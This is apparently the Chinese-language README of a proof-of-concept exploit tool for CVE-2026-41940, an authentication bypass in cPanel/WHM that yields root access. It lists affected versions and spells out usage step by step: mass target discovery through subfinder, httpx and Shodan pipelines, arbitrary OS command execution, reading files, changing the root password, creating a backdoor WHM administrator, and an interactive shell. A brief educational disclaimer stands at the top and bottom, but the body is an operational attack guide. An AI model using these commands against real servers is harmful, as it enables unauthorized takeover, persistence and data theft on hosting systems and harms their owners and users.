⚠ 本工具仅用于教育或漏洞赏金目的。严禁在受控环境之外进行未经授权的使用。
该工具用于利用 CVE-2026-41940,这是 cPanel 与 WHM 中的一个严重身份验证绕过漏洞(CVSS 10.0),允许未认证攻击者通过 Authorization 标头向服务端会话文件注入 CRLF 序列,从而获得根级 WHM 访问权限——无需任何凭据。
从总体上看,CVE-2026-41940 的利用源于 cPanel/WHM 在处理身份验证会话时的机制缺陷。攻击通常始于向登录接口发送一个正常请求,此时应用程序会在完全验证用户凭据之前过早地初始化会话。由于对会话相关输入的处理不当,某些特制或意外的输入结构可能会改变服务器存储或解释会话数据的方式。
| 版本 | 受影响版本 | 已修复版本 |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/lanicer/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
该工具需要指定目标域名。
单目标模式:
python cve.py -u https://target1.com:2083
你也可以从 target.txt 文件(需自行创建)进行扫描:
python cve.py -l target.txt -t 50 -o result.json
可用命令:
python cve.py -u https://victim1.com:2083 # single target scan
python cve.py info -u https://victim1.com:2083 # Retrieves system information (version, load, disk usage).
python cve.py host -u https://victim1.com:2083 # Retrieves the hostname of the target server.
# List all accounts on the server
python cve.py list -u https://target.com:2087
# OS command
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# Get server info (hostname, disk, MySQL host)
python cve.py info -u https://target.com:2087
# Change root password
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# Interactive WHM shell
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# From scope list
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Shodan results
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# Multiple sources combined
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
成功执行后,您可以打开一个交互式 WHM Shell:
python cve.py shell -u
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
⚠ 本工具仅用于教育或漏洞赏金目的。严禁在受控环境之外进行未经授权的使用。
| 命令 | 描述 |
|---|
id | 显示用户 ID |
hostname | 获取服务器主机名 |
accounts | 列出所有用户账户 |
info | 负载、磁盘、MySQL 主机、版本 |
cat <path> | 读取文件内容 |
exec <cmd> | 执行操作系统命令 |
newadmin <user> <pass> | 创建 WHM 后门管理员 |
passwd <pass> | 更改 root 密码 |
l [path] | 列出目录 |
help | 显示所有命令 |
exit | 退出 Shell 模式 |